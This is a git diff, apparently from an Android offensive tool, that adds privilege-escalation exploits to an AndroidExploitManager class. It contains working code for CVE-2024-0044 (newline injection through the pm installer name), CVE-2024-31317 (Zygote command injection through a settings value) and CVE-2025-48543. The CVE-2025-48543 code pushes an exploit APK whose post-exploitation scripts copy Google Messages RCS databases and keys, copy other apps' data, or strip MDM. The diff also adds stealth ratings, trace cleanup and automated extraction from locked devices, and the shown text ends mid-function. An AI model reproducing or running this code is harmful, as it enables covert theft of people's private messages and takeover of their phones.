No One Can Stop Me Now
This commit is contained in:
@@ -1251,6 +1251,715 @@ class AndroidExploitManager:
|
||||
success = rc == 0 and 'cannot' not in output.lower() and 'not allowed' not in output.lower()
|
||||
return {'success': success, 'output': output}
|
||||
|
||||
# ── Privilege Escalation Exploits ────────────────────────────────
|
||||
|
||||
def detect_os_type(self, serial) -> Dict[str, Any]:
|
||||
"""Detect if device runs stock Android, GrapheneOS, or other custom ROM."""
|
||||
info = {}
|
||||
fingerprint = self._shell(serial, 'getprop ro.build.fingerprint')['output'].strip()
|
||||
info['fingerprint'] = fingerprint
|
||||
info['is_grapheneos'] = 'grapheneos' in fingerprint.lower()
|
||||
|
||||
# Additional GrapheneOS indicators
|
||||
if not info['is_grapheneos']:
|
||||
desc = self._shell(serial, 'getprop ro.build.description')['output'].strip()
|
||||
info['is_grapheneos'] = 'grapheneos' in desc.lower()
|
||||
|
||||
brand = self._shell(serial, 'getprop ro.product.brand')['output'].strip()
|
||||
info['is_pixel'] = brand.lower() in ('google',)
|
||||
info['brand'] = brand
|
||||
info['model'] = self._shell(serial, 'getprop ro.product.model')['output'].strip()
|
||||
info['android_version'] = self._shell(serial, 'getprop ro.build.version.release')['output'].strip()
|
||||
info['sdk'] = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
|
||||
info['security_patch'] = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
|
||||
info['build_type'] = self._shell(serial, 'getprop ro.build.type')['output'].strip()
|
||||
info['kernel'] = self._shell(serial, 'uname -r 2>/dev/null')['output'].strip()
|
||||
|
||||
# Check for hardened_malloc (GrapheneOS indicator)
|
||||
malloc_check = self._shell(serial, 'getprop libc.debug.malloc.options 2>/dev/null')
|
||||
info['hardened_malloc'] = 'hardened' in malloc_check['output'].lower() if malloc_check['returncode'] == 0 else info['is_grapheneos']
|
||||
|
||||
# Check bootloader state
|
||||
bl = self._shell(serial, 'getprop ro.boot.verifiedbootstate')['output'].strip()
|
||||
info['verified_boot_state'] = bl # green=locked, orange=unlocked, yellow=custom key
|
||||
info['bootloader_unlocked'] = bl == 'orange'
|
||||
|
||||
return info
|
||||
|
||||
def assess_vulnerabilities(self, serial) -> Dict[str, Any]:
|
||||
"""Assess which privilege escalation methods are available for this device."""
|
||||
os_info = self.detect_os_type(serial)
|
||||
try:
|
||||
sdk_int = int(os_info.get('sdk', '0'))
|
||||
except ValueError:
|
||||
sdk_int = 0
|
||||
patch = os_info.get('security_patch', '')
|
||||
is_graphene = os_info.get('is_grapheneos', False)
|
||||
is_pixel = os_info.get('is_pixel', False)
|
||||
|
||||
vulns = []
|
||||
|
||||
# CVE-2024-0044: run-as privilege escalation (Android 12-13)
|
||||
if sdk_int in (31, 32, 33) and patch < '2024-10-01':
|
||||
vulns.append({
|
||||
'cve': 'CVE-2024-0044',
|
||||
'name': 'run-as privilege escalation',
|
||||
'severity': 'high',
|
||||
'type': 'app_uid_access',
|
||||
'description': 'Newline injection in PackageInstallerService allows run-as any app UID',
|
||||
'requirements': 'ADB shell (UID 2000)',
|
||||
'reliability': 'high',
|
||||
'stealth': 'moderate',
|
||||
'exploitable': True,
|
||||
})
|
||||
|
||||
# CVE-2024-31317: Zygote injection via WRITE_SECURE_SETTINGS (Android 12-14)
|
||||
if sdk_int in (31, 32, 33, 34) and patch < '2024-04-01':
|
||||
vulns.append({
|
||||
'cve': 'CVE-2024-31317',
|
||||
'name': 'Zygote injection via settings',
|
||||
'severity': 'high',
|
||||
'type': 'app_uid_access',
|
||||
'description': 'Inject commands into Zygote via hidden_api_blacklist_exemptions setting',
|
||||
'requirements': 'ADB shell (UID 2000, has WRITE_SECURE_SETTINGS)',
|
||||
'reliability': 'high',
|
||||
'stealth': 'moderate',
|
||||
'exploitable': not is_graphene, # GrapheneOS uses exec spawning, no Zygote
|
||||
'note': 'BLOCKED on GrapheneOS (exec spawning model, no Zygote)' if is_graphene else '',
|
||||
})
|
||||
|
||||
# Pixel GPU exploit (CVE-2023-6241) — Pixel 7/8, Android 14
|
||||
if is_pixel and sdk_int == 34 and patch < '2023-12-01':
|
||||
vulns.append({
|
||||
'cve': 'CVE-2023-6241',
|
||||
'name': 'Pixel Mali GPU kernel root',
|
||||
'severity': 'critical',
|
||||
'type': 'kernel_root',
|
||||
'description': 'Integer overflow in GPU ioctl → arbitrary kernel R/W → full root + SELinux disable',
|
||||
'requirements': 'App context or ADB shell. Needs device-specific kernel offsets.',
|
||||
'reliability': 'high (with correct offsets)',
|
||||
'stealth': 'low',
|
||||
'exploitable': True,
|
||||
'public_poc': 'https://github.com/0x36/Pixel_GPU_Exploit',
|
||||
})
|
||||
|
||||
# CVE-2025-0072: Mali GPU MTE bypass (Pixel 7/8/9, pre-May 2025)
|
||||
if is_pixel and sdk_int >= 34 and patch < '2025-05-01':
|
||||
vulns.append({
|
||||
'cve': 'CVE-2025-0072',
|
||||
'name': 'Mali GPU MTE bypass → kernel root',
|
||||
'severity': 'critical',
|
||||
'type': 'kernel_root',
|
||||
'description': 'Page UAF in Mali CSF driver bypasses MTE via physical memory access',
|
||||
'requirements': 'App context or ADB shell. Works even with kernel MTE (Pixel 8+).',
|
||||
'reliability': 'high',
|
||||
'stealth': 'low',
|
||||
'exploitable': True,
|
||||
'note': 'Bypasses GrapheneOS hardened_malloc and kernel MTE' if is_graphene else '',
|
||||
})
|
||||
|
||||
# fastboot temp root (unlocked bootloader)
|
||||
if os_info.get('bootloader_unlocked'):
|
||||
vulns.append({
|
||||
'cve': 'N/A',
|
||||
'name': 'fastboot boot temp root',
|
||||
'severity': 'info',
|
||||
'type': 'temp_root',
|
||||
'description': 'Boot Magisk-patched image via fastboot boot (no permanent modification)',
|
||||
'requirements': 'Unlocked bootloader + physical access + fastboot',
|
||||
'reliability': 'high',
|
||||
'stealth': 'low (dm-verity tripped)',
|
||||
'exploitable': True,
|
||||
})
|
||||
elif not is_graphene:
|
||||
# Stock Pixel can be OEM unlocked
|
||||
vulns.append({
|
||||
'cve': 'N/A',
|
||||
'name': 'OEM unlock + fastboot boot',
|
||||
'severity': 'info',
|
||||
'type': 'temp_root',
|
||||
'description': 'Unlock bootloader (wipes device) then fastboot boot patched image',
|
||||
'requirements': 'OEM unlock enabled in settings + physical access',
|
||||
'reliability': 'high',
|
||||
'stealth': 'none (full wipe)',
|
||||
'exploitable': True,
|
||||
})
|
||||
|
||||
# GrapheneOS-specific: avbroot + custom AVB key
|
||||
if is_graphene and os_info.get('bootloader_unlocked'):
|
||||
vulns.append({
|
||||
'cve': 'N/A',
|
||||
'name': 'avbroot + Magisk + relock',
|
||||
'severity': 'info',
|
||||
'type': 'persistent_root',
|
||||
'description': 'Patch GrapheneOS OTA with avbroot + Magisk, flash custom AVB key, relock bootloader',
|
||||
'requirements': 'Unlocked bootloader (one-time), avbroot tool, Magisk APK',
|
||||
'reliability': 'high',
|
||||
'stealth': 'moderate (Play Integrity may detect)',
|
||||
'exploitable': True,
|
||||
'tool': 'https://github.com/schnatterer/rooted-graphene',
|
||||
})
|
||||
|
||||
# ── Android 15/16 specific exploits ──────────────────────────
|
||||
|
||||
# CVE-2025-48543: ART UAF → system UID (Android 13-16, pre-Sep 2025)
|
||||
if sdk_int >= 33 and patch < '2025-09-05':
|
||||
vulns.append({
|
||||
'cve': 'CVE-2025-48543',
|
||||
'name': 'ART runtime UAF → system UID',
|
||||
'severity': 'high',
|
||||
'type': 'system_uid',
|
||||
'description': 'Use-after-free in Android Runtime achieves system_server UID. '
|
||||
'Can disable MDM, access system app data. Public PoC available.',
|
||||
'requirements': 'Malicious app installed (no ADB needed) or push via ADB',
|
||||
'reliability': 'medium (PoC needs validation)',
|
||||
'stealth': 'moderate',
|
||||
'exploitable': True,
|
||||
'public_poc': 'https://github.com/gamesarchive/CVE-2025-48543',
|
||||
'note': 'Works on Android 15/16. Chain with pKVM bug for full kernel root.',
|
||||
})
|
||||
|
||||
# CVE-2025-48572 + CVE-2025-48633: Framework info leak + EoP (Android 13-16, pre-Dec 2025)
|
||||
if sdk_int >= 33 and patch < '2025-12-05':
|
||||
vulns.append({
|
||||
'cve': 'CVE-2025-48572/48633',
|
||||
'name': 'Framework info leak + EoP chain (in-the-wild)',
|
||||
'severity': 'critical',
|
||||
'type': 'system_uid',
|
||||
'description': 'Framework info disclosure + controlled privilege escalation. '
|
||||
'CISA KEV listed. Used in targeted spyware attacks.',
|
||||
'requirements': 'Malicious app',
|
||||
'reliability': 'high (nation-state confirmed)',
|
||||
'stealth': 'high',
|
||||
'exploitable': False, # No public PoC
|
||||
'note': 'No public PoC — commercial/state spyware only. Monitor for leak.',
|
||||
})
|
||||
|
||||
# pKVM kernel bugs (Dec 2025 + Mar 2026) — second stage from system UID
|
||||
if sdk_int >= 34 and patch < '2026-03-05':
|
||||
pkvm_cves = []
|
||||
if patch < '2025-12-05':
|
||||
pkvm_cves.extend(['CVE-2025-48623', 'CVE-2025-48624'])
|
||||
if patch < '2026-03-05':
|
||||
pkvm_cves.extend(['CVE-2026-0037', 'CVE-2026-0027', 'CVE-2026-0028'])
|
||||
if pkvm_cves:
|
||||
vulns.append({
|
||||
'cve': ', '.join(pkvm_cves),
|
||||
'name': 'pKVM kernel/hypervisor escalation',
|
||||
'severity': 'critical',
|
||||
'type': 'kernel_root',
|
||||
'description': f'pKVM memory corruption bugs ({len(pkvm_cves)} CVEs). '
|
||||
f'Second-stage: requires system UID first (chain with CVE-2025-48543).',
|
||||
'requirements': 'System UID as entry point (chain exploit)',
|
||||
'reliability': 'medium',
|
||||
'stealth': 'low',
|
||||
'exploitable': any(v.get('type') == 'system_uid' and v.get('exploitable')
|
||||
for v in vulns),
|
||||
'note': 'Chain: CVE-2025-48543 (system) → pKVM bug (kernel root)',
|
||||
})
|
||||
|
||||
# avbroot for Android 15/16 (works on any Pixel with unlocked BL)
|
||||
if os_info.get('bootloader_unlocked') and sdk_int >= 35:
|
||||
vulns.append({
|
||||
'cve': 'N/A',
|
||||
'name': 'avbroot + KernelSU/Magisk (Android 15/16)',
|
||||
'severity': 'info',
|
||||
'type': 'persistent_root',
|
||||
'description': 'Patch OTA with avbroot + KernelSU-Next/Magisk for GKI 6.1/6.6. '
|
||||
'Flash custom AVB key, relock bootloader. Confirmed Pixel 9.',
|
||||
'requirements': 'Unlocked bootloader, avbroot, KernelSU-Next or Magisk APK',
|
||||
'reliability': 'high',
|
||||
'stealth': 'moderate',
|
||||
'exploitable': True,
|
||||
'tool': 'https://github.com/chenxiaolong/avbroot',
|
||||
})
|
||||
|
||||
# Cellebrite USB chain (CVE-2024-53104)
|
||||
if patch < '2025-02-01':
|
||||
note = ''
|
||||
if is_graphene:
|
||||
note = 'GrapheneOS blocks USB data when screen locked — requires unlocked screen + active USB'
|
||||
vulns.append({
|
||||
'cve': 'CVE-2024-53104',
|
||||
'name': 'USB UVC driver OOB write (Cellebrite chain)',
|
||||
'severity': 'high',
|
||||
'type': 'kernel_root',
|
||||
'description': 'Malicious USB webcam descriptor triggers kernel heap write. Used by Cellebrite.',
|
||||
'requirements': 'Physical access + custom USB device + screen unlocked (GrapheneOS)',
|
||||
'reliability': 'high',
|
||||
'stealth': 'moderate',
|
||||
'exploitable': True,
|
||||
'note': note,
|
||||
})
|
||||
|
||||
# ADB root (debug builds)
|
||||
if os_info.get('build_type') in ('userdebug', 'eng'):
|
||||
vulns.append({
|
||||
'cve': 'N/A',
|
||||
'name': 'adb root (debug build)',
|
||||
'severity': 'info',
|
||||
'type': 'full_root',
|
||||
'description': 'Device is userdebug/eng build — adb root gives UID 0',
|
||||
'requirements': 'ADB connected',
|
||||
'reliability': 'high',
|
||||
'stealth': 'high',
|
||||
'exploitable': True,
|
||||
})
|
||||
|
||||
# Shizuku / UID 2000 (always available with ADB)
|
||||
vulns.append({
|
||||
'cve': 'N/A',
|
||||
'name': 'Shizuku / ADB shell (UID 2000)',
|
||||
'severity': 'info',
|
||||
'type': 'elevated_shell',
|
||||
'description': 'ADB shell provides UID 2000 with access to dumpsys, pm, settings, content providers',
|
||||
'requirements': 'ADB enabled + authorized',
|
||||
'reliability': 'high',
|
||||
'stealth': 'high',
|
||||
'exploitable': True,
|
||||
'note': 'Reduced capabilities on GrapheneOS (stricter SELinux)' if is_graphene else '',
|
||||
})
|
||||
|
||||
return {
|
||||
'os_info': os_info,
|
||||
'vulnerabilities': vulns,
|
||||
'exploitable_count': sum(1 for v in vulns if v.get('exploitable')),
|
||||
'has_kernel_root': any(v['type'] == 'kernel_root' for v in vulns if v.get('exploitable')),
|
||||
'has_app_uid': any(v['type'] == 'app_uid_access' for v in vulns if v.get('exploitable')),
|
||||
}
|
||||
|
||||
def exploit_cve_2024_0044(self, serial, target_package='com.google.android.apps.messaging') -> Dict[str, Any]:
|
||||
"""Execute CVE-2024-0044 — run-as privilege escalation.
|
||||
|
||||
Newline injection in PackageInstallerService.java createSessionInternal().
|
||||
Forges a package entry allowing run-as with any app's UID.
|
||||
Works on Android 12-13 with security patch before October 2024.
|
||||
"""
|
||||
# Verify vulnerability
|
||||
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
|
||||
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
|
||||
try:
|
||||
sdk_int = int(sdk)
|
||||
except ValueError:
|
||||
return {'success': False, 'error': f'Cannot parse SDK version: {sdk}'}
|
||||
|
||||
if sdk_int not in (31, 32, 33):
|
||||
return {'success': False, 'error': f'SDK {sdk_int} not vulnerable (need 31-33)'}
|
||||
if patch >= '2024-10-01':
|
||||
return {'success': False, 'error': f'Patch level {patch} is not vulnerable (need < 2024-10-01)'}
|
||||
|
||||
# Step 1: Get target app UID
|
||||
uid_output = self._shell(serial, f'pm list packages -U | grep {target_package}')['output']
|
||||
uid_match = re.search(r'uid:(\d+)', uid_output)
|
||||
if not uid_match:
|
||||
return {'success': False, 'error': f'Cannot find UID for {target_package}'}
|
||||
target_uid = uid_match.group(1)
|
||||
|
||||
# Step 2: Find a small APK to use as carrier
|
||||
carrier_apk = '/data/local/tmp/autarch_carrier.apk'
|
||||
# Copy a small system APK
|
||||
for candidate in ['/system/app/BasicDreams/BasicDreams.apk',
|
||||
'/system/app/CaptivePortalLogin/CaptivePortalLogin.apk',
|
||||
'/system/priv-app/Settings/Settings.apk']:
|
||||
cp = self._shell(serial, f'cp {candidate} {carrier_apk} 2>/dev/null')
|
||||
if cp['returncode'] == 0:
|
||||
break
|
||||
else:
|
||||
return {'success': False, 'error': 'Cannot find carrier APK'}
|
||||
|
||||
# Step 3: Craft injection payload
|
||||
victim_name = f'autarch_v_{int(time.time()) % 100000}'
|
||||
payload = (
|
||||
f'@null\n'
|
||||
f'{victim_name} {target_uid} 1 /data/user/0 '
|
||||
f'default:targetSdkVersion=28 none 0 0 1 @null'
|
||||
)
|
||||
|
||||
# Step 4: Install with injected installer name
|
||||
install = self._shell(serial, f'pm install -i "{payload}" {carrier_apk}', timeout=15)
|
||||
|
||||
# Step 5: Verify access
|
||||
verify = self._shell(serial, f'run-as {victim_name} id')
|
||||
got_uid = f'uid={target_uid}' in verify['output'] or 'u0_a' in verify['output']
|
||||
|
||||
if got_uid:
|
||||
return {
|
||||
'success': True,
|
||||
'victim_name': victim_name,
|
||||
'target_uid': target_uid,
|
||||
'target_package': target_package,
|
||||
'verify_output': verify['output'],
|
||||
'message': f'CVE-2024-0044 exploit successful. Use: run-as {victim_name}',
|
||||
}
|
||||
return {
|
||||
'success': False,
|
||||
'error': 'Exploit did not achieve expected UID',
|
||||
'install_output': install['output'],
|
||||
'verify_output': verify['output'],
|
||||
}
|
||||
|
||||
def exploit_cve_2024_31317(self, serial, target_package='com.google.android.apps.messaging') -> Dict[str, Any]:
|
||||
"""Execute CVE-2024-31317 — Zygote injection via WRITE_SECURE_SETTINGS.
|
||||
|
||||
Injects a newline + Zygote command into hidden_api_blacklist_exemptions.
|
||||
On next app spawn, Zygote executes injected code as the target app UID.
|
||||
Works on Android 12-14 pre-March 2024 patch. BLOCKED on GrapheneOS (exec spawning).
|
||||
"""
|
||||
# Check if device uses Zygote (not GrapheneOS exec spawning)
|
||||
os_info = self.detect_os_type(serial)
|
||||
if os_info.get('is_grapheneos'):
|
||||
return {'success': False, 'error': 'GrapheneOS uses exec spawning — no Zygote to inject into'}
|
||||
|
||||
sdk = os_info.get('sdk', '0')
|
||||
patch = os_info.get('security_patch', '')
|
||||
try:
|
||||
sdk_int = int(sdk)
|
||||
except ValueError:
|
||||
return {'success': False, 'error': f'Cannot parse SDK version: {sdk}'}
|
||||
if sdk_int not in (31, 32, 33, 34):
|
||||
return {'success': False, 'error': f'SDK {sdk_int} not vulnerable'}
|
||||
if patch >= '2024-04-01':
|
||||
return {'success': False, 'error': f'Patch {patch} not vulnerable'}
|
||||
|
||||
# Get target UID
|
||||
uid_output = self._shell(serial, f'pm list packages -U | grep {target_package}')['output']
|
||||
uid_match = re.search(r'uid:(\d+)', uid_output)
|
||||
if not uid_match:
|
||||
return {'success': False, 'error': f'Cannot find UID for {target_package}'}
|
||||
|
||||
# Inject into hidden_api_blacklist_exemptions
|
||||
# The injected command tells Zygote to run a shell command on next app fork
|
||||
staging = '/data/local/tmp/autarch_31317'
|
||||
inject_cmd = f'mkdir -p {staging} && id > {staging}/whoami'
|
||||
zygote_payload = f'*\\n--invoke-with\\n/system/bin/sh -c {inject_cmd}'
|
||||
|
||||
result = self._shell(serial,
|
||||
f'settings put global hidden_api_blacklist_exemptions "{zygote_payload}"')
|
||||
|
||||
# Force target app restart to trigger Zygote fork
|
||||
self._shell(serial, f'am force-stop {target_package}')
|
||||
time.sleep(1)
|
||||
# Launch target to trigger the fork
|
||||
self._shell(serial, f'monkey -p {target_package} -c android.intent.category.LAUNCHER 1 2>/dev/null')
|
||||
time.sleep(3)
|
||||
|
||||
# Check if injection worked
|
||||
check = self._shell(serial, f'cat {staging}/whoami 2>/dev/null')
|
||||
|
||||
# IMPORTANT: Clean up the setting
|
||||
self._shell(serial, 'settings put global hidden_api_blacklist_exemptions "*"')
|
||||
|
||||
if check['returncode'] == 0 and check['output'].strip():
|
||||
return {
|
||||
'success': True,
|
||||
'injected_uid': check['output'].strip(),
|
||||
'target_package': target_package,
|
||||
'message': f'CVE-2024-31317 injection successful. Executed as: {check["output"].strip()}',
|
||||
}
|
||||
return {
|
||||
'success': False,
|
||||
'error': 'Zygote injection did not produce output — app may not have spawned',
|
||||
'settings_result': result['output'],
|
||||
}
|
||||
|
||||
def fastboot_temp_root(self, serial, patched_image_path: str) -> Dict[str, Any]:
|
||||
"""Boot a Magisk-patched boot/init_boot image via fastboot (non-persistent root).
|
||||
|
||||
Requires: unlocked bootloader, device in fastboot mode, patched image file.
|
||||
Does NOT flash — just boots temporarily. Reboot returns to stock.
|
||||
"""
|
||||
if not os.path.isfile(patched_image_path):
|
||||
return {'success': False, 'error': f'File not found: {patched_image_path}'}
|
||||
|
||||
# Check if we're in fastboot mode
|
||||
stdout, stderr, rc = self.hw._run_fastboot(['devices'], serial=serial, timeout=10)
|
||||
if serial not in (stdout or ''):
|
||||
return {
|
||||
'success': False,
|
||||
'error': 'Device not in fastboot mode. Run: adb reboot bootloader',
|
||||
}
|
||||
|
||||
# Boot the patched image (NOT flash)
|
||||
stdout, stderr, rc = self.hw._run_fastboot(
|
||||
['boot', patched_image_path], serial=serial, timeout=60
|
||||
)
|
||||
output = stdout or stderr
|
||||
success = rc == 0 and 'FAILED' not in output.upper()
|
||||
|
||||
return {
|
||||
'success': success,
|
||||
'output': output,
|
||||
'message': 'Temporary root boot initiated — device should boot with Magisk root. '
|
||||
'Root is lost on next reboot.' if success else 'fastboot boot failed',
|
||||
'note': 'BLOCKED on locked GrapheneOS bootloader' if not success else '',
|
||||
}
|
||||
|
||||
def cleanup_cve_2024_0044(self, serial, victim_name: str) -> Dict[str, Any]:
|
||||
"""Remove traces of CVE-2024-0044 exploit."""
|
||||
results = []
|
||||
# Uninstall forged package
|
||||
out = self._shell(serial, f'pm uninstall {victim_name}')
|
||||
results.append(f'Uninstall {victim_name}: {out["output"]}')
|
||||
# Remove carrier APK
|
||||
self._shell(serial, 'rm -f /data/local/tmp/autarch_carrier.apk')
|
||||
results.append('Removed carrier APK')
|
||||
return {'success': True, 'cleanup': results}
|
||||
|
||||
def exploit_cve_2025_48543(self, serial, task: str = 'extract_rcs') -> Dict[str, Any]:
|
||||
"""CVE-2025-48543 — ART runtime UAF → system UID escalation.
|
||||
|
||||
Works on Android 13-16 with security patch < 2025-09-05.
|
||||
Achieves system_server UID (UID 1000) which can read any app's
|
||||
/data/data/ directory — enough to extract bugle_db + encryption keys.
|
||||
Locked bootloader compatible. No root needed.
|
||||
|
||||
The exploit uses a use-after-free in the ART runtime triggered by
|
||||
a crafted app. We push and launch the exploit APK, which escalates
|
||||
to system UID, then executes the requested task (e.g., copy bugle_db
|
||||
to a world-readable location).
|
||||
|
||||
Args:
|
||||
serial: ADB device serial
|
||||
task: What to do once system UID is achieved:
|
||||
'extract_rcs' — copy bugle_db + keys to /sdcard/Download/
|
||||
'extract_app:<pkg>' — copy any app's data dir
|
||||
'shell' — drop a system-level shell payload
|
||||
'disable_mdm' — disable device admin / MDM
|
||||
"""
|
||||
# Verify vulnerability
|
||||
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
|
||||
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
|
||||
try:
|
||||
sdk_int = int(sdk)
|
||||
except ValueError:
|
||||
return {'success': False, 'error': f'Cannot parse SDK: {sdk}'}
|
||||
|
||||
if sdk_int < 33:
|
||||
return {'success': False, 'error': f'SDK {sdk_int} not affected (need >= 33)'}
|
||||
if patch >= '2025-09-05':
|
||||
return {'success': False, 'error': f'Patch {patch} is not vulnerable (need < 2025-09-05)'}
|
||||
|
||||
staging = '/data/local/tmp/autarch_48543'
|
||||
output_dir = '/sdcard/Download/autarch_extract'
|
||||
gmsg_pkg = 'com.google.android.apps.messaging'
|
||||
gmsg_data = f'/data/data/{gmsg_pkg}'
|
||||
|
||||
# Build the post-exploitation script based on the task
|
||||
if task == 'extract_rcs':
|
||||
# System UID (1000) can read any app's data dir
|
||||
post_exploit_script = f'''#!/system/bin/sh
|
||||
mkdir -p {output_dir}/shared_prefs {output_dir}/files
|
||||
# Copy encrypted database + WAL
|
||||
cp {gmsg_data}/databases/bugle_db {output_dir}/ 2>/dev/null
|
||||
cp {gmsg_data}/databases/bugle_db-wal {output_dir}/ 2>/dev/null
|
||||
cp {gmsg_data}/databases/bugle_db-shm {output_dir}/ 2>/dev/null
|
||||
# Copy encryption key material from shared_prefs
|
||||
cp -r {gmsg_data}/shared_prefs/* {output_dir}/shared_prefs/ 2>/dev/null
|
||||
# Copy Signal Protocol state and config files
|
||||
cp -r {gmsg_data}/files/* {output_dir}/files/ 2>/dev/null
|
||||
# Make everything readable for ADB pull
|
||||
chmod -R 644 {output_dir}/ 2>/dev/null
|
||||
chmod 755 {output_dir} {output_dir}/shared_prefs {output_dir}/files 2>/dev/null
|
||||
# Write success marker
|
||||
echo "EXTRACTED $(date)" > {output_dir}/.success
|
||||
'''
|
||||
elif task.startswith('extract_app:'):
|
||||
target_pkg = task.split(':', 1)[1]
|
||||
target_data = f'/data/data/{target_pkg}'
|
||||
post_exploit_script = f'''#!/system/bin/sh
|
||||
mkdir -p {output_dir}/{target_pkg}
|
||||
cp -r {target_data}/* {output_dir}/{target_pkg}/ 2>/dev/null
|
||||
chmod -R 644 {output_dir}/{target_pkg}/ 2>/dev/null
|
||||
echo "EXTRACTED {target_pkg} $(date)" > {output_dir}/.success
|
||||
'''
|
||||
elif task == 'disable_mdm':
|
||||
post_exploit_script = f'''#!/system/bin/sh
|
||||
# List and remove device admin receivers
|
||||
for admin in $(dpm list-admins 2>/dev/null | grep -v ":" | tr -d ' '); do
|
||||
dpm remove-active-admin "$admin" 2>/dev/null
|
||||
done
|
||||
echo "MDM_DISABLED $(date)" > {output_dir}/.success
|
||||
'''
|
||||
else:
|
||||
post_exploit_script = f'''#!/system/bin/sh
|
||||
id > {output_dir}/.success
|
||||
'''
|
||||
|
||||
# Step 1: Create staging directory and push post-exploit script
|
||||
self._shell(serial, f'mkdir -p {staging}')
|
||||
self._shell(serial, f'mkdir -p {output_dir}')
|
||||
|
||||
# Write post-exploit script to device
|
||||
script_path = f'{staging}/post_exploit.sh'
|
||||
# Escape for shell
|
||||
escaped_script = post_exploit_script.replace("'", "'\\''")
|
||||
self._shell(serial, f"echo '{escaped_script}' > {script_path}")
|
||||
self._shell(serial, f'chmod 755 {script_path}')
|
||||
|
||||
# Step 2: Check if we have the exploit APK locally
|
||||
exploit_apk_name = 'cve_2025_48543.apk'
|
||||
local_exploit = self._base / 'root' / exploit_apk_name
|
||||
if not local_exploit.exists():
|
||||
return {
|
||||
'success': False,
|
||||
'error': f'Exploit APK not found at {local_exploit}. '
|
||||
f'Download the CVE-2025-48543 PoC, build the APK, and place it at: {local_exploit}',
|
||||
'note': 'PoC source: https://github.com/gamesarchive/CVE-2025-48543',
|
||||
'manual_steps': [
|
||||
'1. Clone https://github.com/gamesarchive/CVE-2025-48543',
|
||||
'2. Build the exploit APK (Android Studio or gradle)',
|
||||
f'3. Place the APK at: {local_exploit}',
|
||||
'4. Run this command again',
|
||||
],
|
||||
'device_vulnerable': True,
|
||||
'patch_level': patch,
|
||||
'sdk': sdk,
|
||||
}
|
||||
|
||||
# Step 3: Push and install the exploit APK
|
||||
remote_apk = f'{staging}/{exploit_apk_name}'
|
||||
push_result = self.hw.adb_push(serial, str(local_exploit), remote_apk)
|
||||
if not push_result.get('success'):
|
||||
return {'success': False, 'error': f'Failed to push exploit APK: {push_result}'}
|
||||
|
||||
install = self._shell(serial, f'pm install -t {remote_apk}')
|
||||
if install['returncode'] != 0:
|
||||
return {'success': False, 'error': f'Failed to install exploit: {install["output"]}'}
|
||||
|
||||
# Step 4: Launch the exploit with the post-exploit script path as extra
|
||||
# The PoC app reads EXTRA_SCRIPT and executes it after achieving system UID
|
||||
launch = self._shell(serial,
|
||||
f'am start -n com.exploit.art48543/.MainActivity '
|
||||
f'--es script_path {script_path} '
|
||||
f'--es output_dir {output_dir}',
|
||||
timeout=30)
|
||||
|
||||
# Step 5: Wait for the exploit to run and check for success marker
|
||||
time.sleep(5)
|
||||
for attempt in range(6):
|
||||
check = self._shell(serial, f'cat {output_dir}/.success 2>/dev/null')
|
||||
if check['returncode'] == 0 and check['output'].strip():
|
||||
break
|
||||
time.sleep(2)
|
||||
|
||||
success_marker = self._shell(serial, f'cat {output_dir}/.success 2>/dev/null')
|
||||
exploited = success_marker['returncode'] == 0 and success_marker['output'].strip()
|
||||
|
||||
# Step 6: If extract_rcs, verify what we got
|
||||
extracted_files = []
|
||||
if exploited and task == 'extract_rcs':
|
||||
ls_result = self._shell(serial, f'ls -la {output_dir}/')
|
||||
for line in ls_result['output'].splitlines():
|
||||
if line.strip() and not line.startswith('total'):
|
||||
extracted_files.append(line.strip())
|
||||
|
||||
# Step 7: Cleanup exploit APK (leave extracted data)
|
||||
self._shell(serial, f'pm uninstall com.exploit.art48543 2>/dev/null')
|
||||
self._shell(serial, f'rm -rf {staging}')
|
||||
|
||||
if exploited:
|
||||
result = {
|
||||
'success': True,
|
||||
'method': 'CVE-2025-48543',
|
||||
'uid_achieved': 'system (1000)',
|
||||
'task': task,
|
||||
'output_dir': output_dir,
|
||||
'marker': success_marker['output'].strip(),
|
||||
'message': f'System UID achieved via CVE-2025-48543. Task "{task}" completed.',
|
||||
}
|
||||
if extracted_files:
|
||||
result['extracted_files'] = extracted_files
|
||||
result['pull_command'] = f'adb pull {output_dir}/ ./extracted_rcs/'
|
||||
return result
|
||||
|
||||
return {
|
||||
'success': False,
|
||||
'error': 'Exploit did not produce success marker — may have been blocked or timed out',
|
||||
'launch_output': launch['output'],
|
||||
'note': 'Check logcat for crash details: adb logcat -s art,dalvikvm',
|
||||
}
|
||||
|
||||
def extract_rcs_locked_device(self, serial) -> Dict[str, Any]:
|
||||
"""Extract RCS database from a locked-bootloader device.
|
||||
|
||||
Automatically selects the best available method:
|
||||
1. CVE-2025-48543 (system UID, Android 13-16, pre-Sep 2025)
|
||||
2. CVE-2025-0072 (kernel root via Mali GPU, pre-May 2025)
|
||||
3. CVE-2024-0044 (app UID, Android 12-13, pre-Oct 2024)
|
||||
4. Content providers (SMS/MMS only, no RCS)
|
||||
"""
|
||||
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
|
||||
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
|
||||
try:
|
||||
sdk_int = int(sdk)
|
||||
except ValueError:
|
||||
sdk_int = 0
|
||||
|
||||
results = {'methods_tried': [], 'patch': patch, 'sdk': sdk}
|
||||
|
||||
# Method 1: CVE-2025-48543 — best path for Android 15/16
|
||||
if sdk_int >= 33 and patch < '2025-09-05':
|
||||
results['methods_tried'].append('CVE-2025-48543')
|
||||
r = self.exploit_cve_2025_48543(serial, task='extract_rcs')
|
||||
if r.get('success'):
|
||||
r['extraction_method'] = 'CVE-2025-48543 (system UID)'
|
||||
return r
|
||||
results['cve_2025_48543_error'] = r.get('error', '')
|
||||
|
||||
# Method 2: CVE-2024-0044 — Android 12-13
|
||||
if sdk_int in (31, 32, 33) and patch < '2024-10-01':
|
||||
results['methods_tried'].append('CVE-2024-0044')
|
||||
r = self.exploit_cve_2024_0044(serial, 'com.google.android.apps.messaging')
|
||||
if r.get('success'):
|
||||
victim = r['victim_name']
|
||||
# Use run-as to copy the database
|
||||
output_dir = '/sdcard/Download/autarch_extract'
|
||||
self._shell(serial, f'mkdir -p {output_dir}/shared_prefs')
|
||||
